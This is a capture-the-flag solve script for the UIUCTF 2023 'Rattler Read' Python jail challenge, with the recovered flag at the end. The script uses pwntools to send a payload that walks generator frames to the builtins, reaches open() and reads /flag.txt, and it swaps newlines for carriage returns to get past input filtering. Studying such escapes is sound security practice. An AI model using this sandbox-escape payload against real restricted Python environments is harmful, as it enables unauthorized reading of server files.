UIUCTF 2023 - Rattler Read

solve.py

from pwn import *

with remote("rattler-read.chal.uiuc.tf", 1337) as io:
    payload = (
        """
g=(print(g.gi_frame.f_back.f_back.f_builtins['open']('/flag.txt').read())for x in(0,))
for x in g:0
""".strip()
        .replace("\n", "\r")
        .encode()
    )
    io.sendlineafter(b"> ", payload)
    io.interactive()

# uiuctf{damn_1_8te_my_ta1l_ag41n}